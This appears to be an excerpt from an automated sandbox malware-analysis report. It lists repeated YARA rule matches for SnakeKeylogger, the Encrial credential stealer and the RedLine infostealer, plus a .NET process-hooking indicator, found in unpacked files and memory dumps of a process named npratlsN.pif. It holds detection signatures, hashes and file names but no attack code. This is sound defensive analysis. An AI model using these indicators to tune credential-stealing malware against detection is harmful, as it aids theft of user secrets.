              Source: 16.2.npratlsN.pif.2bb89a06.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.npratlsN.pif.2bb89a06.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 10.2.npratlsN.pif.2e490000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 14.2.npratlsN.pif.214f9a06.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 14.2.npratlsN.pif.214f9a06.1.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.npratlsN.pif.2b48a8ee.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 14.2.npratlsN.pif.214f9a06.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 10.2.npratlsN.pif.2b48a8ee.2.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.npratlsN.pif.2b48a8ee.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 14.2.npratlsN.pif.214f9a06.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 14.2.npratlsN.pif.214f9a06.1.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.1.npratlsN.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 14.1.npratlsN.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 16.2.npratlsN.pif.2e310ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.npratlsN.pif.2e310ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.npratlsN.pif.2dd40000.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.2.npratlsN.pif.2e310ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.2.npratlsN.pif.2e310000.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 14.2.npratlsN.pif.23cc0000.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 14.2.npratlsN.pif.23cc0000.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 14.2.npratlsN.pif.23cc0000.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 10.1.npratlsN.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 10.2.npratlsN.pif.2b489a06.1.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 13.2.Nsltarpn.PIF.20fe67a8.4.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 14.2.npratlsN.pif.242f0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 14.2.npratlsN.pif.242f0000.5.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.npratlsN.pif.2b489a06.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.2.npratlsN.pif.2ea90000.5.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 10.2.npratlsN.pif.2e490000.5.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 14.2.npratlsN.pif.23cc0ee8.3.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 14.2.npratlsN.pif.242f0000.5.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 14.2.npratlsN.pif.23cc0ee8.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 14.2.npratlsN.pif.214f9a06.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 14.2.npratlsN.pif.214fa8ee.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 14.2.npratlsN.pif.214fa8ee.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 14.2.npratlsN.pif.214fa8ee.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 10.2.npratlsN.pif.2e490000.5.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.1.npratlsN.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 16.2.npratlsN.pif.2bb8a8ee.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.npratlsN.pif.2bb8a8ee.1.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.npratlsN.pif.2ea90000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.npratlsN.pif.2e490000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.npratlsN.pif.2bb8a8ee.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 10.2.npratlsN.pif.2e490000.5.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.npratlsN.pif.2ea90000.5.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.npratlsN.pif.2e490000.5.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.2.npratlsN.pif.2ea90000.5.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 10.3.npratlsN.pif.29aec7e8.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.3.npratlsN.pif.29aec7e8.0.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.3.npratlsN.pif.29aec7e8.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 14.2.npratlsN.pif.214fa8ee.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 14.2.npratlsN.pif.214fa8ee.2.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 14.2.npratlsN.pif.214fa8ee.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 0000000A.00000001.1859265751.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 0000000E.00000002.3432289694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000010.00000002.3432404801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
